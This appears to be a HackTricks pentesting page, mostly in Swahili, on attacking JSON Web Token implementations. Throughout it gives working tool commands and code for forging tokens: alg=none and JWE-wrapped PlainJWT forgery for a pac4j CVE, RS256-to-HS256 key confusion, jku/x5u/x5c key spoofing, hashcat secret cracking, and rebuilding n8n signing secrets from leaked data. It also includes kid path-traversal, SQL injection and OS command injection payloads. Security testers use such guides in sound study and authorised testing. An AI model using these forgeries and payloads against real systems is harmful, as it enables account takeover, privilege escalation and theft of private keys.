Udhaifu wa JWT (Json Web Tokens)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Sehemu ya chapisho hili inategemea chapisho hili zuri: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Mwandishi wa tool bora ya pentest JWTs https://github.com/ticarpi/jwt_tool

Quick Wins

Run jwt_tool with mode All Tests! and wait for green lines

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Ikiwa una bahati, tool itapata baadhi ya kesi ambapo web application inakagua JWT vibaya:

Kisha, unaweza kutafuta request katika proxy yako au kudump JWT iliyotumika kwa request hiyo kwa kutumia jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Practical JWT assessment workflow

  • Scope the session control: Chagua request mahususi ya user-specific (e.g., profile, billing). Ondoa cookies/headers moja moja hadi request ikataliwa ili kutenganisha token(s) zipi hasa zinadhibiti authorization.
  • Locate JWTs in traffic: Mara nyingi zipo kwenye Authorization: Bearer <JWT>, lakini pia huonekana kwenye custom headers au cookies. Ikiwa Burp haizi-highlight, tumia Target → Site map → Engagement tools → Search with regex patterns such as:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decode and enumerate: Tumia Burp JWT Editor au python3 jwt_tool.py <JWT> kusoma header/payload. Angalia alg, exp/token lifetime, na authn/authz-driving claims (role, id, username, email, etc.).
  • Signature enforcement sanity check: Badilisha au futa bytes chache katika sehemu ya signature kisha replay. Ikiwa inakubaliwa, hiyo inaonyesha missing signature validation na unaweza moja kwa moja tamper payload claims.
  • Goal: Modify payload claims to escalate privileges; kila attack hapa chini inalenga kufanya server ikubali tampered payload kwa kutumia weak verification, weak secrets, au unsafe key selection.

Tamper data without modifying anything

Unaweza tu tamper data na kuacha signature kama ilivyo na kuangalia kama server ina-check signature. Jaribu kubadilisha username yako kuwa “admin” kwa mfano.

Is the token checked?

Ili kuangalia kama signature ya JWT inathibitishwa:

  • Error message inaashiria verification inaendelea; sensitive details katika verbose errors zinapaswa kukaguliwa.
  • Mabadiliko katika page iliyorudishwa pia yanaonyesha verification.
  • Hakuna mabadiliko inaashiria no verification; hapa ndipo pa kujaribu tampering payload claims.

Origin

Ni muhimu kubaini token ilitengenezwa server-side au client-side kwa kuchunguza request history ya proxy.

  • Tokens zilizoonekana kwanza kutoka client side zinaashiria key huenda imefichuliwa kwenye client-side code, hivyo zinahitaji uchunguzi zaidi.
  • Tokens zinazotoka server-side zinaonyesha process salama.

Duration

Angalia kama token hudumu zaidi ya 24h… labda haiishi kamwe. Ikiwa kuna “exp” filed, angalia kama server inashughulikia kwa usahihi.

Brute-force HMAC secret

See this page.

If the header uses HS256, dump the token to a file and try offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Once the secret is recovered, ipakie kama symmetric key katika Burp JWT Editor and re-sign modified claims.

Derive JWT secrets from leaked config + DB data

If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Weka signed token kwenye session cookie (kwa mfano, n8n-auth) ili kujifanya account ya user/admin hata kama password hash ni salted.

Modify the algorithm to None

Weka algorithm inayotumika kama “None” na uondoe sehemu ya signature.

Tumia Burp extension call “JSON Web Token” kujaribu vulnerability hii na kubadilisha values tofauti ndani ya JWT (tuma request kwenda Repeater na kwenye “JSON Web Token” tab unaweza kubadilisha values za token. Unaweza pia kuchagua kuweka value ya field ya “Alg” kuwa “None”).

JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)

Baadhi ya stacks hutegemea signed inner JWT iliyofungwa ndani ya encrypted JWE. Katika vulnerable pac4j-jwt versions (kabla ya 4.5.9, 5.7.9, na 6.3.3), authenticator decrypt JWE, hujaribu kuparse payload kama signed JWT, na huverify signature tu ikiwa conversion hiyo inafanikiwa. Ikiwa decrypted payload ni PlainJWT (alg=none), toSignedJWT() hurudisha null na signature verification path hurukwa.

  • Pre-reqs:
  • Application inakubali JWE bearer tokens
  • Server public key imefichuliwa (kwa kawaida kupitia JWKS kama /.well-known/jwks.json au /api/auth/jwks)
  • Authorization inategemea attacker-controlled claims kama sub, role, groups, au scope
  • Impact: forge encrypted token kwa user/role yoyote kwa kutumia public key pekee

Practical checks:

  • Enumerate frontend / API docs kwa vidokezo kama RSA-OAEP-256, A128GCM/A256GCM, jwks, au comments zinazo kusema “inner JWT is signed”.
  • Fetch JWKS na import RSA key kutoka n/e.
  • Build inner token manually kama base64url(header) + "." + base64url(payload) + "." ili signature iwe empty.
  • Encrypt hiyo plaintext JWT kama JWE kwa kutumia exposed public key na uireplay kama bearer token.

Minimal PlainJWT construction:

header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)

If you have the RSA public key from the JWKS, encrypt it into a compact JWE:

rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)

Noti:

  • If your JWT library refuses to emit alg=none, generate the compact token manually as shown above.
  • The enc value must match one accepted by the target; frontend comments and legitimate tokens often disclose this.
  • In SPAs, check whether the bearer token is stored in sessionStorage, localStorage, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly.

Badilisha algorithm RS256(asymmetric) kuwa HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

New public key inside the header

Mshambulizi huingiza key mpya ndani ya header ya token na server hutumia key hii mpya kuthibitisha signature (CVE-2018-0114).

Hii inaweza kufanywa kwa extension ya Burp ya “JSON Web Tokens”.
(Tuma request kwenda Repeater, ndani ya tab ya JSON Web Token chagua “CVE-2018-0114” na tuma request).

JWKS Spoofing

Maelekezo haya yanaeleza njia ya kuchunguza usalama wa JWT tokens, hasa zile zinazotumia claim ya “jku” kwenye header. Claim hii inapaswa ku-link kwenda kwenye faili ya JWKS (JSON Web Key Set) ambayo ina public key inayohitajika kwa uthibitishaji wa token.

  • Assessing Tokens with “jku” Header:

  • Thibitisha URL ya claim ya “jku” ili uhakikishe inaelekeza kwenye faili sahihi ya JWKS.

  • Rekebisha thamani ya token ya “jku” ili ielekeze kwenye web service unayodhibiti, kuruhusu ufuatiliaji wa traffic.

  • Monitoring for HTTP Interaction:

  • Kuona HTTP requests kwenda kwenye URL uliyobainisha kunaonyesha jaribio la server la kuchukua keys kutoka kwenye link uliyotoa.

  • Unapotumia jwt_tool kwa mchakato huu, ni muhimu kusasisha faili ya jwtconf.ini kwa kuweka eneo lako binafsi la JWKS ili kuwezesha testing.

  • Command for jwt_tool:

  • Tekeleza command ifuatayo kuiga hali hii kwa kutumia jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

Claim ya header ya hiari inayoitwa kid hutumiwa kutambua key maalum, ambayo huwa muhimu sana katika mazingira yenye keys nyingi kwa uthibitishaji wa signature ya token. Claim hii husaidia kuchagua key inayofaa ili kuthibitisha signature ya token.

Revealing Key through “kid”

Ikiwa claim ya kid ipo kwenye header, inashauriwa kutafuta kwenye web directory faili husika au matoleo yake tofauti. Kwa mfano, ikiwa "kid":"key/12345" imebainishwa, faili /key/12345 na /key/12345.pem zinapaswa kutafutwa kwenye web root.

Path Traversal with “kid”

Claim ya kid pia inaweza kutumiwa vibaya kuzunguka kupitia file system, na huenda ikaruhusu kuchagua file yoyote kwa hiari. Inawezekana kujaribu connectivity au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya kid ili kulenga files au services maalum. Kubadilisha JWT ili kubadili thamani ya kid huku signature ya asili ikibaki kunaweza kufanywa kwa kutumia flag ya -T katika jwt_tool, kama inavyoonyeshwa hapa chini:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Kwa kulenga faili zenye maudhui yanayotabirika, inawezekana kutengeneza JWT halali. Kwa mfano, faili /proc/sys/kernel/randomize_va_space kwenye mifumo ya Linux, inayojulikana kuwa na thamani 2, inaweza kutumika katika kigezo cha kid na 2 kama nywila ya symmetric kwa ajili ya JWT generation.

Mfumo wa vitendo kwa brittle file-system key loading ni kutengeneza HS256 key na JWK k iliyowekwa kuwa AA==, kuweka kid kuwa traversal kama ../../../../../../../dev/null, kisha kufanya re-sign—baadhi ya implementations huchukulia faili tupu kama HMAC secret halali na zitakubali forged tokens.

SQL Injection kupitia “kid”

Ikiwa maudhui ya claim ya kid yanatumika kuchukua password kutoka kwenye database, SQL injection inaweza kuwezeshwa kwa kurekebisha payload ya kid. Mfano wa payload unaotumia SQL injection kubadilisha JWT signing process ni pamoja na:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Mabadiliko haya hulazimisha matumizi ya secret key inayojulikana, ATTACKER, kwa JWT signing.

OS Injection kupitia “kid”

Tukio ambapo kigezo cha kid kinataja file path inayotumika ndani ya command execution context kinaweza kusababisha Remote Code Execution (RCE) vulnerabilities. Kwa kuingiza commands ndani ya kigezo cha kid, inawezekana kufichua private keys. Mfano wa payload ya kufanikisha RCE na key exposure ni:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku inasimama kwa JWK Set URL.
Ikiwa token inatumia claim ya “jku” katika Header basi angalia URL iliyotolewa. Hii inapaswa kuelekeza kwenye URL iliyo na faili ya JWKS inayoshikilia Public Key kwa ajili ya kuthibitisha token. Badilisha token ili kufanya value ya jku kuelekea kwenye web service unayoweza kufuatilia traffic yake.

Kwanza unahitaji kuunda certificate mpya yenye private na public keys mpya

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Then unaweza kutumia kwa mfano jwt.io kuunda JWT mpya kwa kutumia vifunguo vya umma na binafsi vilivyoundwa na kuelekeza parameta jku kwenye cheti kilichoundwa. Ili kuunda cheti halali cha jku unaweza kupakua kile cha asili kisha kubadilisha parameta zinazohitajika.

Unaweza kupata parameta “e” na “n” kutoka kwa cheti cha umma kwa kutumia:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Ikiwa verifier inachukua key material kwa mbali, embed Burp Collaborator URL ndani ya jku/x5u kwa kutumia JWT Editor → Attack → Embed Collaborator payload. Callback yoyote inathibitisha SSRF-style key retrieval; kisha host JWKS/PEM yako mwenyewe kwenye URL hiyo na re-sign kwa kutumia private key yako ili service ithibitishe attacker-minted tokens.

x5u

X.509 URL. URI inayoelekeza kwenye seti ya X.509 (standard ya certificate format) public certificates zilizo encoded katika PEM form. Certificate ya kwanza katika seti lazima iwe ndiyo iliyotumiwa kusign JWT hii. Certificates zinazofuata kila moja husign ile ya awali, hivyo kukamilisha certificate chain. X.509 imefafanuliwa katika RFC 52807 . Transport security inahitajika ili kuhamisha certificates.

Jaribu kubadilisha header hii kuwa URL iliyo chini ya udhibiti wako na angalia kama request yoyote inapokelewa. Katika hali hiyo unaweza tamper JWT.

Ili forge token mpya kwa kutumia certificate inayodhibitiwa na wewe, unahitaji kuunda certificate na kutoa public na private keys:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then unaweza kutumia kwa mfano jwt.io kuunda JWT mpya kwa kutumia vifunguo vya public na private vilivyoundwa na kuelekeza parameter x5u kwenye certificate .crt iliyoundwa.

Unaweza pia kutumia vibaya udhaifu huu wote wawili kwa SSRFs.

x5c

Parameter hii inaweza kuwa na certificate katika base64:

Ikiwa attacker atatoa self-signed certificate na kuunda forged token kwa kutumia private key inayolingana na kubadilisha thamani ya parameter “x5c” na certificate mpya iliyoundwa na kurekebisha parameters nyingine, yaani n, e na x5t basi kwa msingi forged token hiyo itakubaliwa na server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Ufunguo wa Umma Uliopachikwa (CVE-2018-0114)

Ikiwa JWT imepachika ufunguo wa umma kama katika hali ifuatayo:

Kwa kutumia script ifuatayo ya nodejs inawezekana kutengeneza ufunguo wa umma kutoka kwa data hiyo:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Inawezekana kutengeneza private/public key mpya, kuembed new public key ndani ya token na kuitumia kutengeneza new signature:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Unaweza kupata “n” na “e” kwa kutumia hii nodejs script:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Hatimaye, kwa kutumia public na private key pamoja na thamani mpya za “n” na “e” unaweza kutumia jwt.io kutengeneza kwa uongo JWT mpya halali yenye taarifa yoyote.

ES256: Kufichua private key kwa kutumia same nonce

Ikiwa baadhi ya applications zinatumia ES256 na zinatumia same nonce kutengeneza jwts mbili, private key inaweza kurejeshwa.

Hapa kuna mfano: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

JTI (JWT ID) claim hutoa kitambulisho cha kipekee kwa JWT Token. Inaweza kutumika kuzuia token isirudishwe tena (replayed).
Hata hivyo, fikiria hali ambapo maximun length ya ID ni 4 (0001-9999). Ombi 0001 na 10001 yataenda kutumia same ID. Kwa hiyo ikiwa backend inaongeza ID katika kila request unaweza kutumia hili vibaya ku replay request (ikihitaji kutuma request 10000 kati ya kila replay iliyofanikiwa).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

Imebainika kuwa baadhi ya web applications hutegemea trusted JWT service kwa ajili ya kutengeneza na kusimamia tokens zao. Kumeandikwa matukio ambapo token, iliyotengenezwa kwa client mmoja na JWT service, ilikubaliwa na client mwingine wa same JWT service. Iwapo utoaji au upyaishaji wa JWT kupitia third-party service utaonekana, inafaa kuchunguza uwezekano wa kujisajili kwa account kwenye client nyingine ya huduma hiyo kwa kutumia same username/email. Kisha jaribio lifanywe la kurudisha nyuma (replay) token iliyopatikana katika request kwenda kwenye target ili kuona kama inakubaliwa.

  • Shida muhimu inaweza kuashiriwa na kukubaliwa kwa token yako, jambo linaloweza kuruhusu spoofing ya account ya mtumiaji yoyote. Hata hivyo, inapaswa kuzingatiwa kuwa ruhusa ya kufanya testing pana zaidi inaweza kuhitajika ikiwa unasajili kwenye third-party application, kwani hili linaweza kuingia katika eneo la kisheria la kijivu.

Expiry Check of Tokens

Expiry ya token hukaguliwa kwa kutumia “exp” Payload claim. Kwa kuwa JWTs mara nyingi hutumiwa bila session information, utunzaji makini unahitajika. Mara nyingi, kunasa na kurudisha tena JWT ya mtumiaji mwingine kunaweza kuruhusu impersonation ya mtumiaji huyo. JWT RFC inapendekeza kupunguza JWT replay attacks kwa kutumia claim “exp” kuweka muda wa expiry kwa token. Zaidi ya hayo, utekelezaji wa checks zinazohusika na application ili kuhakikisha usindikaji wa value hii na kukataa tokens zilizoisha muda ni muhimu. Ikiwa token ina claim “exp” na testing time limits zinaruhusu, inashauriwa kuhifadhi token na kuirudisha tena baada ya muda wa expiry kupita. Maudhui ya token, ikijumuisha timestamp parsing na expiry checking (timestamp katika UTC), yanaweza kusomwa kwa kutumia jwt_tool’s -R flag.

  • Risk ya usalama inaweza kuwepo ikiwa application bado inathibitisha token, kwani hii inaweza kumaanisha kwamba token haiwezi kuisha muda kamwe.

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) na semi-automated attack modes (-M at).
  • Burp JWT Editor – decode/re-sign katika Repeater, generate custom keys, na run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – GPU-accelerated HS256 secret cracking baada ya ku-export JWTs kwenda kwenye wordlist.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks